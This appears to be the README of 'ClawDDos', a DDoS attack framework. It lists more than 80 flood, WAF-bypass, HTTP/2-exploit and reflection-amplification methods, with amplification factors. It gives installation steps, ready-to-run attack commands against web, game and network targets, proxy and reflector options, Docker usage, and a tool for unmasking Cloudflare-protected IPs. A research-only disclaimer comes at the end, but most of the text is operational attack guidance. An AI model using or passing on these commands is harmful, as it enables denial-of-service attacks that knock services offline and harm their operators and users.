⚡ Complete rewrite and improvement of MHDDoS - Faster, More Stable, More Methods ⚡
- 🌟 About
- ✨ Features & Methods
- 📦 Installation
- 🚀 Usage
- 🔧 Tools
- 🐳 Docker
- 📝 Documentation
- 🤝 Contributing
- 📜 License
ClawDDos is an advanced multi-threaded DDoS attack framework with 83+ attack methods and a powerful proxy system. This project is a complete rewrite of MHDDoS, with significant improvements in performance, stability, and features.
| Feature | ClawDDos | MHDDoS |
|---|---|---|
| Attack Methods | 83+ | 57 |
| Layer 4 Methods | 40+ | 28 |
| Layer 7 Methods | 43+ | 29 |
| Proxy Auto-Download | ✅ | ❌ |
| Proxy Validation | ✅ | ❌ |
| Save Valid Proxies | ✅ | ❌ |
| NO-PROXY Mode | ✅ | ❌ |
| HTTP/2 Attacks | ✅ | ❌ |
| TLS Attacks | ✅ | ❌ |
| Interactive Console | ✅ | ✅ |
| Docker Support | ✅ | ✅ |
| Better Performance | ✅ | ❌ |
| Method | Description |
|---|---|
 GET |
HTTP GET Flood |
 POST |
HTTP POST Flood |
 HEAD |
HTTP HEAD Flood |
 BOMB |
HTTP Bomb Flood (No external dependencies) |
 BYPASS |
WAF Bypass Flood |
 STRESS |
Stress Flood with large payloads |
 SLOW |
Slowloris Attack |
 BOT |
Search Engine Bot Simulation |
| 🔪 KILLER | Killer Flood (Infinite threads) |
| 🧅 TOR | TOR Network Onion Service Flood |
 CFB |
Cloudflare Bypass |
| CFBUAM |
Cloudflare Under Attack Mode Bypass |
 DGB |
DDoS Guard Bypass |
 AVB |
Arvan Cloud Bypass |
| GSB |
Google Project Shield Bypass |
 OVH |
OVH HTTP Bypass |
 APACHE |
Apache Range Header Exploit |
 XMLRPC |
WordPress XMLRPC Pingback Flood |
 PIPELINE |
HTTP Pipelining Flood |
 RANGE |
Range Request Flood |
| LOWLORIS |
Advanced Slowloris Variant |
 ZOMBIE |
Zombie Connection (Keep-alive without data) |
 CACHEPOISON |
HTTP Cache Poisoning |
| CHUNKED |
Chunked Transfer Bomb |
| GRPC |
gRPC Microservice Flood |
| GraphQL Introspection Bomb | |
| WebSocket Connection Flood | |
 RHEX |
Random HEX Path Flood |
 STOMP |
STOMP Protocol Flood |
 DYN |
Dynamic SubDomain Flood |
 DOWNLOADER |
Slow Download Simulation |
 NULL |
Null UserAgent Flood |
 COOKIE |
Random Cookie Flood |
 PPS |
High PPS HTTP Requests |
| EVEN |
Even Flood with more headers |
 RAPIDRESET |
HTTP/2 Rapid Reset (CVE-2023-44487) |
 H2_STREAM_BOMB |
HTTP/2 Stream Bomb |
 H2_BOMB |
HTTP/2 Bomb (HPACK Amplification 2026) |
 H2_CONTINUATION |
HTTP/2 CONTINUATION Flood (CVE-2024-27983) |
 H2_SMUGGLING |
HTTP/2 Request Smuggling (CVE-2024-27983) |
 TLS_RENEG |
TLS Renegotiation Flood (2024) |
 DOH_AMP |
DNS-over-HTTPS Amplification |
 TURN |
TURN Server Relay Flood |
| Method | Description |
|---|---|
 TCP |
TCP Flood |
 UDP |
UDP Flood |
 SYN |
SYN Flood (needs root) |
 ICMP |
ICMP Flood (needs root) |
 CONNECTION |
Connection Flood |
 CPS |
CPS Flood |
 OVH-UDP |
OVH UDP Flood |
 VSE |
Source Engine Query Flood |
 MINECRAFT |
Minecraft Server Ping Flood |
 MCBOT |
Minecraft Bot Attack |
 FIVEM |
FiveM Server Getinfo Flood |
 FIVEM-TOKEN |
FiveM Token Authentication Flood |
 TS3 |
TeamSpeak 3 Server Flood |
| MCPE |
Minecraft PE Server Flood |
 SA_MP |
SA-MP (San Andreas Multiplayer) Flood |
 GRE |
Generic Routing Encapsulation Flood |
 SMB |
Server Message Block Flood |
 QUIC |
QUIC/HTTP3 Flood |
 MQTT |
MQTT IoT Protocol Flood |
 IP_FRAG |
IP Fragmentation Flood |
 VXLAN |
Virtual Extensible LAN Tunnel Flood |
 MPLS |
Multi-Protocol Label Switching Flood |
 GENEVE |
Generic Network Virtualization Encapsulation Flood |
 L2TP |
Layer 2 Tunneling Protocol Flood |
 QUIC_HANDSHAKE |
QUIC Handshake CPU Exhaustion |
 IPV6_ND |
IPv6 Neighbor Discovery Flood |
 VRRP |
Virtual Router Redundancy Protocol Flood |
| Method | Description | Amplification Factor |
|---|---|---|
 NTP |
NTP Monlist Amplification | 200-500x |
 DNS |
DNS Reflection Attack | 30-100x |
 MEM |
Memcached Reflection | 100-500x |
| MEMCACHED |
Memcached Amplification | 100-500x |
| Connectionless LDAP Amplification | 50-100x | |
 SSDP |
Simple Service Discovery Protocol | 30-100x |
 WSD |
WS-Discovery Amplification | 50-200x |
 COAP |
Constrained Application Protocol | 30-60x |
 PCP |
Port Control Protocol | 20-30x |
 STUN |
Session Traversal Utilities for NAT | 10-15x |
| CHAR |
Character Generator Protocol | - |
 ARD |
Apple Remote Desktop | - |
 RDP |
Remote Desktop Protocol | - |
python main.py TOOLS| Tool | Description |
|---|---|
| CFIP | Find Real IP Address Of Websites Powered By Cloudflare |
| PING | Response time of icmp request |
| DSTAT | Shows Bytes Received, bytes Sent and their amount |
| INFO | About site like country, ISP, organization |
| CHECK | Check If Websites Status |
| TSSRV | TeamSpeak SRV Resolver |
| DNS | Show DNS Records Of Sites |
HELP- Show Help MessageCLEAR- Clear ConsoleBACK- Back to main consoleEXIT- Close Console and exit
git clone https://github.com/inject3r/ClawDDoS.git
cd ClawDDoS
pip install -r requirements.txt
python main.py --helpapt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential git && git clone https://github.com/inject3r/ClawDDoS.git && cd ClawDDoS && pip3 install -r requirements.txt# Create necessary directories
mkdir -p files/proxies files/reflectors
# Download some proxies (optional)
python main.py --helppython main.py <METHOD> <TARGET> [OPTIONS]# With proxies
python main.py GET http://target.com 1 100 proxies.txt 10 60
python main.py POST http://target.com 1 100 proxies.txt 10 60
python main.py BOMB http://target.com 1 100 proxies.txt 10 60 debug
python main.py BYPASS http://target.com 1 100 proxies.txt 10 60
python main.py BOT http://target.com 1 100 proxies.txt 10 60
python main.py STRESS http://target.com 1 100 proxies.txt 10 60
python main.py SLOW http://target.com 1 100 proxies.txt 10 60
python main.py PIPELINE http://target.com 1 100 proxies.txt 10 60
python main.py RANGE http://target.com 1 100 proxies.txt 10 60
python main.py CHUNKED http://target.com 1 100 proxies.txt 10 60
python main.py GRPC http://target.com 1 100 proxies.txt 10 60
python main.py GRAPHQL http://target.com 1 100 proxies.txt 10 60
python main.py WSFLOOD http://target.com 1 100 proxies.txt 10 60
python main.py RAPIDRESET http://target.com 1 100 proxies.txt 10 60
# Without proxies
python main.py GET http://target.com 1 100 no-proxy 10 60
python main.py POST http://target.com 1 100 none 10 60python main.py UDP 127.0.0.1:9999 100 60
python main.py TCP 127.0.0.1:9999 100 60
sudo python main.py SYN 127.0.0.1:9999 100 60
python main.py ICMP 127.0.0.1 100 60
python main.py VXLAN 127.0.0.1:4789 100 60
python main.py MPLS 127.0.0.1 100 60
python main.py GENEVE 127.0.0.1:6081 100 60
python main.py L2TP 127.0.0.1:1701 100 60
python main.py GRE 127.0.0.1 100 60
python main.py SMB 127.0.0.1:445 100 60
python main.py QUIC 127.0.0.1:443 100 60
python main.py MQTT 127.0.0.1:1883 100 60
python main.py SA_MP 127.0.0.1:7777 100 60python main.py NTP 127.0.0.1:123 100 60 reflectors.txt
python main.py DNS 127.0.0.1:53 100 60 reflectors.txt
python main.py MEM 127.0.0.1:11211 100 60 reflectors.txt
python main.py SSDP 127.0.0.1:1900 100 60 reflectors.txt
python main.py WSD 127.0.0.1:3702 100 60 reflectors.txt
python main.py COAP 127.0.0.1:5683 100 60 reflectors.txt
python main.py PCP 127.0.0.1:5351 100 60 reflectors.txt
python main.py STUN 127.0.0.1:3478 100 60 reflectors.txtpython main.py GET http://target.com 1 100 proxies.txt 10 60 debug NO-CHECK
python main.py BOMB http://target.com 1 200 proxies.txt 100 3600 debug NO-CHECK# Minecraft
python main.py MINECRAFT 127.0.0.1:25565 100 60
python main.py MCBOT 127.0.0.1:25565 100 60
python main.py MCPE 127.0.0.1:19132 100 60
# FiveM
python main.py FIVEM 127.0.0.1:30120 100 60
python main.py FIVEM-TOKEN 127.0.0.1:30120 100 60
# SA-MP
python main.py SA_MP 127.0.0.1:7777 100 60
# TeamSpeak
python main.py TS3 127.0.0.1:9987 100 60
# Source Engine
python main.py VSE 127.0.0.1:27015 100 60docker build -t clawddos .# Show help
docker run --rm -it --network host --privileged clawddos --help
# Run UDP attack
docker run --rm -it --network host --privileged clawddos UDP 127.0.0.1:9999 100 60
# Run TOOLS
docker run --rm -it --network host --privileged clawddos TOOLS
# With proxies
docker run --rm -it --network host --privileged \
-v $(pwd)/files:/app/files \
clawddos GET http://target.com 1 100 proxies.txt 10 60
# With NO-CHECK
docker run --rm -it --network host --privileged \
-v $(pwd)/files:/app/files \
clawddos BOMB http://target.com 1 200 proxies.txt 100 3600 debug NO-CHECKdocker-compose build
docker-compose run --rm clawddos --help
docker-compose run --rm clawddos TOOLS
docker-compose run --rm --privileged clawddos UDP 127.0.0.1:9999 100 60| Parameter | Description |
|---|---|
| METHOD | Attack method name |
| TARGET | Target IP:PORT or URL (http://example.com) |
| SOCKS | Proxy type (0=ALL, 1=HTTP, 4=SOCKS4, 5=SOCKS5, 6=RANDOM) |
| THREADS | Number of threads (higher = more power) |
| PROXY | File containing proxy list or 'no-proxy' |
| RPC | Requests Per Connection (Layer 7 only) |
| TIME | Attack duration in seconds (0 = infinite) |
| TIMEOUT | Connection timeout in seconds |
| REFLECTORS | File containing reflector IPs (Amplification) |
| DEBUG | Enable debug logging (optional) |
| NO-CHECK | Skip proxy validation (optional) |
# Layer 7 attack with proxies
python main.py BYPASS http://target.com 1 200 proxies.txt 100 3600 debug
# Layer 4 UDP flood
python main.py UDP 192.168.1.100:80 100 60
# Amplification DNS attack with reflectors
python main.py DNS 192.168.1.100:53 50 30 reflectors.txt
# Without proxies
python main.py GET http://target.com 1 100 no-proxy 50 60
# With NO-CHECK (skip proxy validation)
python main.py BOMB http://target.com 1 200 proxies.txt 100 3600 debug NO-CHECK
# Interactive tools
python main.py TOOLS
# Docker with NO-CHECK
docker run --rm -it --network host --privileged \
-v $(pwd)/files:/app/files \
clawddos BYPASS http://target.com 1 200 proxies.txt 100 3600 debug NO-CHECKContributions are welcome! Please feel free to submit a Pull Request.
- Fork the repository
- Create your feature branch (
git checkout -b feature/amazing-feature) - Commit your changes (
git commit -m 'Add some amazing feature') - Push to the branch (
git push origin feature/amazing-feature) - Open a Pull Request
This project is licensed under the MIT License - see the LICENSE file for details.
- Inspired by MHDDoS
- Thanks to all contributors and users
This tool is developed for educational and security research purposes only.
The developer and all contributors of this project are not responsible for any misuse, illegal activities, or damages caused by this software. By using this tool, you agree that:
- You will not use this tool for any illegal or malicious purposes.
- You will only use this tool on systems you own or have explicit permission to test.
- You understand that unauthorized network attacks are illegal in most jurisdictions and can result in severe legal consequences.
- The developer and contributors do not condone, encourage, or support any form of cyber attacks, hacking, or unauthorized access.
USE THIS TOOL AT YOUR OWN RISK. THE DEVELOPERS ASSUME NO LIABILITY FOR ANY DAMAGES OR LEGAL ISSUES ARISING FROM ITS USE.
If you are unsure about the legality of using this tool, please consult with a legal professional before proceeding.
Made with ❤️ by inject3r | Telegram: @inject3r
⭐ If you like this project, please give it a star! ⭐